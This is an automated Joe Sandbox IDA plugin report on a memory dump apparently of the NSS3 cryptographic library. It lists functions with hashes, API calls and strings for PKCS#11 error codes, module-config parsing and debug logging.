Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: e86a52b836e032384d11164b9e62989422bd94c3bb283201a2e8ff652ff0244d
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: B9D15733B046568BDB118E58C9853DA7B73AB96328F2D4329C8745B7C2C37AD906C3C2

Function 6CE58EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6deda46df4d6043d53fa5d4cf3504959f4ad33ef9937c309f94287380daa09f
Instruction ID: d4fdb43f14ecbd6168ff01f5e730fb77c8b2f1c47e4ee409eb898cca045f4ae7
Opcode Fuzzy Hash: f6deda46df4d6043d53fa5d4cf3504959f4ad33ef9937c309f94287380daa09f
Instruction Fuzzy Hash: 4211E232BA02098BD728CF14D88575AB7B5BF4631CF6442AAD8068FB41C776D8A2C7D1

Function 6CF30C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 297456294415a66adac99f3037a7578ee2d528935bc6ca6abf3260497c7016b9
Instruction ID: 3aadc9ce137fec16ccf57cc1f28f9f2871c4aa12453b61259fdac952f25a7938
Opcode Fuzzy Hash: 297456294415a66adac99f3037a7578ee2d528935bc6ca6abf3260497c7016b9
Instruction Fuzzy Hash: EB11BF75704215AFCB00DF19C880A6A77A2EF853A8F14806AD8198B711DBB1E8068BE0

Function 6CF30D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: d9291f358c2e625ff94c6e7dbf1e59c69d23f1d5f0f9d43055346909f73c1423
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 5FE06D3A202064B7DB558E09C450BAA7399DF81719FA4907ACC5D9BA01DA73F80387C1

Function 6CE5CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6246b242c8c71fb699525d791a26bcd9934f2663106ec83639e78122701ffa62
Instruction ID: 181c05963f4f59a097d80d37f51fbae0970cfcb7e83a91eba63e6155c42b05b8
Opcode Fuzzy Hash: 6246b242c8c71fb699525d791a26bcd9934f2663106ec83639e78122701ffa62
Instruction Fuzzy Hash: 9CC04838294608CFC744DA08E489AA53BB8AB096107040094EA028B721DA21F900CA80

Function 6CE91D60 Relevance: 84.2, APIs: 1, Strings: 47, Instructions: 210COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3( rv = %s,CKR_FUNCTION_REJECTED,?,6CE91D46), ref: 6CE92345

Strings

CKR_INFORMATION_SENSITIVE, xrefs: 6CE922B1
CKR_OBJECT_HANDLE_INVALID, xrefs: 6CE9204D
CKR_RANDOM_NO_RNG, xrefs: 6CE922A7
CKR_OK, xrefs: 6CE91DFC
CKR_PIN_LOCKED, xrefs: 6CE92075
CKR_SAVED_STATE_INVALID, xrefs: 6CE91E56
CKR_TOKEN_WRITE_PROTECTED, xrefs: 6CE91DE0
CKR_DOMAIN_PARAMS_INVALID, xrefs: 6CE92015
CKR_BUFFER_TOO_SMALL, xrefs: 6CE92183
CKR_WRAPPING_KEY_SIZE_RANGE, xrefs: 6CE92327
CKR_OPERATION_NOT_INITIALIZED, xrefs: 6CE91FD7
CKR_ENCRYPTED_DATA_INVALID, xrefs: 6CE9226B
CKR_SIGNATURE_INVALID, xrefs: 6CE920CF
CKR_NEW_PIN_MODE, xrefs: 6CE91E9F
rv = 0x%x, xrefs: 6CE92312
CKR_WRAPPED_KEY_INVALID, xrefs: 6CE91FB5
CKR_NEXT_OTP, xrefs: 6CE9222F
CKR_WRAPPING_KEY_HANDLE_INVALID, xrefs: 6CE92320
CKR_WRAPPING_KEY_TYPE_INCONSISTENT, xrefs: 6CE9232E
CKR_FUNCTION_CANCELED, xrefs: 6CE91E73
CKR_FUNCTION_NOT_PARALLEL, xrefs: 6CE9218D
CKR_DEVICE_ERROR, xrefs: 6CE9229D
CKR_SIGNATURE_LEN_RANGE, xrefs: 6CE920D9
CKR_RANDOM_SEED_NOT_SUPPORTED, xrefs: 6CE922FF
CKR_PIN_LEN_RANGE, xrefs: 6CE92061
CKR_FUNCTION_REJECTED, xrefs: 6CE92289
CKR_ENCRYPTED_DATA_LEN_RANGE, xrefs: 6CE91F0F
CKR_MUTEX_NOT_LOCKED, xrefs: 6CE92225
CKR_DEVICE_REMOVED, xrefs: 6CE92261
CKR_OPERATION_CANCEL_FAILED, xrefs: 6CE91F77
CKR_TOKEN_NOT_PRESENT, xrefs: 6CE91F81
CKR_TEMPLATE_INCONSISTENT, xrefs: 6CE91EE1
CKR_PIN_INCORRECT, xrefs: 6CE91D92
CKR_PIN_INVALID, xrefs: 6CE92057
CKR_TOKEN_NOT_RECOGNIZED, xrefs: 6CE91F8B
CKR_CRYPTOKI_NOT_INITIALIZED, xrefs: 6CE92275
CKR_CRYPTOKI_ALREADY_INITIALIZED, xrefs: 6CE9227F
CKR_MUTEX_BAD, xrefs: 6CE91F49
CKR_TEMPLATE_INCOMPLETE, xrefs: 6CE91F95
CKR_WRAPPED_KEY_LEN_RANGE, xrefs: 6CE92319
rv = %s, xrefs: 6CE92340
CKR_CURVE_NOT_SUPPORTED, xrefs: 6CE92179
CKR_PIN_EXPIRED, xrefs: 6CE9206B
CKR_OPERATION_ACTIVE, xrefs: 6CE922B8
CKR_DEVICE_MEMORY, xrefs: 6CE91FF3
CKR_TOKEN_RESOURCE_EXCEEDED, xrefs: 6CE92293, 6CE9233F
CKR_STATE_UNSAVEABLE, xrefs: 6CE92037

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print
String ID: rv = %s$ rv = 0x%x$CKR_BUFFER_TOO_SMALL$CKR_CRYPTOKI_ALREADY_INITIALIZED$CKR_CRYPTOKI_NOT_INITIALIZED$CKR_CURVE_NOT_SUPPORTED$CKR_DEVICE_ERROR$CKR_DEVICE_MEMORY$CKR_DEVICE_REMOVED$CKR_DOMAIN_PARAMS_INVALID$CKR_ENCRYPTED_DATA_INVALID$CKR_ENCRYPTED_DATA_LEN_RANGE$CKR_FUNCTION_CANCELED$CKR_FUNCTION_NOT_PARALLEL$CKR_FUNCTION_REJECTED$CKR_INFORMATION_SENSITIVE$CKR_MUTEX_BAD$CKR_MUTEX_NOT_LOCKED$CKR_NEW_PIN_MODE$CKR_NEXT_OTP$CKR_OBJECT_HANDLE_INVALID$CKR_OK$CKR_OPERATION_ACTIVE$CKR_OPERATION_CANCEL_FAILED$CKR_OPERATION_NOT_INITIALIZED$CKR_PIN_EXPIRED$CKR_PIN_INCORRECT$CKR_PIN_INVALID$CKR_PIN_LEN_RANGE$CKR_PIN_LOCKED$CKR_RANDOM_NO_RNG$CKR_RANDOM_SEED_NOT_SUPPORTED$CKR_SAVED_STATE_INVALID$CKR_SIGNATURE_INVALID$CKR_SIGNATURE_LEN_RANGE$CKR_STATE_UNSAVEABLE$CKR_TEMPLATE_INCOMPLETE$CKR_TEMPLATE_INCONSISTENT$CKR_TOKEN_NOT_PRESENT$CKR_TOKEN_NOT_RECOGNIZED$CKR_TOKEN_RESOURCE_EXCEEDED$CKR_TOKEN_WRITE_PROTECTED$CKR_WRAPPED_KEY_INVALID$CKR_WRAPPED_KEY_LEN_RANGE$CKR_WRAPPING_KEY_HANDLE_INVALID$CKR_WRAPPING_KEY_SIZE_RANGE$CKR_WRAPPING_KEY_TYPE_INCONSISTENT
API String ID: 3558298466-1980531169
Opcode ID: 66bfeb3e08f8f02c36f0e5c8493b5e052fa97c19dcc5fb2d54c2db150228aaa9
Instruction ID: d4752b5852b12442885a0e64fa9641b07e002e6525e52390573fdf3efe501792
Opcode Fuzzy Hash: 66bfeb3e08f8f02c36f0e5c8493b5e052fa97c19dcc5fb2d54c2db150228aaa9
Instruction Fuzzy Hash: 63611620A8E547C6EE1C84CC81AE36CB134AB2771DFF4C177E9828EF51D695CA474693

Function 6CEC5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CEC5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEC5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CEC5E5C
free.MOZGLUE(00000000), ref: 6CEC5E7E
free.MOZGLUE(00000000), ref: 6CEC5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CEC5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CEC5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEC5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CEC5EF0
free.MOZGLUE(00000000), ref: 6CEC5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CEC5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CEC5F5B
free.MOZGLUE(00000000), ref: 6CEC5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CEC5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CEC5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CEC5FC4
free.MOZGLUE(00000000), ref: 6CEC5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEC5FE9
free.MOZGLUE(00000000), ref: 6CEC5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CEC600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CEC6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CEC605A
PR_smprintf.NSS3(6CF9AAF9,00000000), ref: 6CEC606A
free.MOZGLUE(00000000), ref: 6CEC607C
free.MOZGLUE(00000000), ref: 6CEC609A
free.MOZGLUE(00000000), ref: 6CEC60B2
free.MOZGLUE(?), ref: 6CEC60CE

Strings

%s/%s, xrefs: 6CEC6055
readOnly, xrefs: 6CEC5E56
secmod.db, xrefs: 6CEC5EA0
secmod=, xrefs: 6CEC5FB1
configDir=, xrefs: 6CEC5F9D
pkcs11.txt, xrefs: 6CEC5F47, 6CEC5F7C, 6CEC603A, 6CEC6053
forceSecmodChoice, xrefs: 6CEC5F55
noModDB, xrefs: 6CEC5EEA
flags, xrefs: 6CEC5E3A, 6CEC5EC6, 6CEC5F30

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2c4fa0f6d4894c41816d58dc5563f25077ba9c431f4661c97540ac23f60a617d
Instruction ID: f73844a6e0ba08e687e92d8f9d6d81a5f84ce7f39caa1524874b250486974320
Opcode Fuzzy Hash: 2c4fa0f6d4894c41816d58dc5563f25077ba9c431f4661c97540ac23f60a617d
Instruction Fuzzy Hash: ED91C1F0F052415FEB108B249D82BAB3BB89F0624CF280065E865ABB42E7659905D7A3

Function 6CF709D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CF70A22

Part of subcall function 6CF29DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DC6
Part of subcall function 6CF29DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF70A27), ref: 6CF29DD1
Part of subcall function 6CF29DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF29DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF70A35

Part of subcall function 6CE53810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE5382A
Part of subcall function 6CE53810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CE53879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF70A66
PR_GetCurrentThread.NSS3 ref: 6CF70A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF70A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF70AC8
PR_vsmprintf.NSS3(?,?), ref: 6CF70AE8
EnterCriticalSection.KERNEL32(?), ref: 6CF70B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CF70B48
OutputDebugStringA.KERNEL32(?), ref: 6CF70B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF70C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF70C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF70C76
PR_LogFlush.NSS3 ref: 6CF70C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF70C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70C9C
OutputDebugStringA.KERNEL32(?), ref: 6CF70CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF70CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CF70D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF70D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CF70D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF70D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CF70D90
free.MOZGLUE(00000000), ref: 6CF70D99

Strings

%ld[%p]: , xrefs: 6CF70A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CF70A5B

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 5734c9ee352ab8c85fb8ea82ea1b3bf2cd6299c82707c6a42cbd564c444572d9
Instruction ID: 6cd1f50d499c38d6d6f504c8095e10ffc848b719f55101b84dd3aa58c5f4c118
Opcode Fuzzy Hash: 5734c9ee352ab8c85fb8ea82ea1b3bf2cd6299c82707c6a42cbd564c444572d9
Instruction Fuzzy Hash: 92A11471F102849FDF209B28DC88B9B3B78AF56308F084659F85593341D7B6EAA4CB61

Function 6CE928A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CE928BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CE928EF

Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(?), ref: 6CF70B88
Part of subcall function 6CF709D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF70C5D
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF70C8D
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70C9C
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(?), ref: 6CF70CD1
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF70CEC
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70CFB
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70D16
Part of subcall function 6CF709D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF70D26
Part of subcall function 6CF709D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF70D35
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF70D65
Part of subcall function 6CF709D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF70D70
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70D90
Part of subcall function 6CF709D0: free.MOZGLUE(00000000), ref: 6CF70D99

Part of subcall function 6CE50F00: PR_GetPageSize.NSS3(6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F1B
Part of subcall function 6CE50F00: PR_NewLogModule.NSS3(clock,6CE50936,FFFFE8AE,?,6CDE16B7,00000000,?,6CE50936,00000000,?,6CDE204A), ref: 6CE50F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE928D6

Part of subcall function 6CF709D0: PR_Now.NSS3 ref: 6CF70A22
Part of subcall function 6CF709D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF70A35
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF70A66
Part of subcall function 6CF709D0: PR_GetCurrentThread.NSS3 ref: 6CF70A70
Part of subcall function 6CF709D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF70A9D
Part of subcall function 6CF709D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF70AC8
Part of subcall function 6CF709D0: PR_vsmprintf.NSS3(?,?), ref: 6CF70AE8
Part of subcall function 6CF709D0: EnterCriticalSection.KERNEL32(?), ref: 6CF70B19
Part of subcall function 6CF709D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF70B48
Part of subcall function 6CF709D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF70C76
Part of subcall function 6CF709D0: PR_LogFlush.NSS3 ref: 6CF70C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CE92963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CE92983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CE929A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CE929C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CE92A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CE92A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CE92A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CE92A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CE92AB6

Strings

pInfo = 0x%p, xrefs: 6CE928EA
CKF_RNG, xrefs: 6CE92A13, 6CE92A20
CKF_LOGIN_REQUIRED, xrefs: 6CE929F3, 6CE92A1E
maxRwSessions = %u, RwSessions = %u, xrefs: 6CE92A61
hardware version: %d.%d, xrefs: 6CE92A89
slotID = 0x%x, xrefs: 6CE928D1
CKF_WRITE_PROTECTED, xrefs: 6CE929FE, 6CE92A1F
CKF_USER_PIN_INIT, xrefs: 6CE929E5
manufacturerID = "%.32s", xrefs: 6CE9297E
label = "%.32s", xrefs: 6CE9295E
serial = "%.16s", xrefs: 6CE929BE
C_GetTokenInfo, xrefs: 6CE928B8
model = "%.16s", xrefs: 6CE9299E
flags = %s %s %s %s, xrefs: 6CE92A21
firmware version: %d.%d, xrefs: 6CE92AB1
maxSessions = %u, Sessions = %u, xrefs: 6CE92A43

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 48278eda6ba60d6829b2553fbef119a440b051c53097855a726719abd5ef9dd8
Instruction ID: 5382e76ba44f07ac8401db09e5ce069f687ced910063dda78f94b051f0f257ac
Opcode Fuzzy Hash: 48278eda6ba60d6829b2553fbef119a440b051c53097855a726719abd5ef9dd8
Instruction Fuzzy Hash: 3A51E7B1A01140AFEF908B50ED8DB5677B5EB4221DF468079E9049B712EBB3DD08CB61

Function 6CE51D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CE51DA3

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CE51DB2

Part of subcall function 6CE51240: TlsGetValue.KERNEL32(00000040,?,6CE5116C,NSPR_LOG_MODULES), ref: 6CE51267
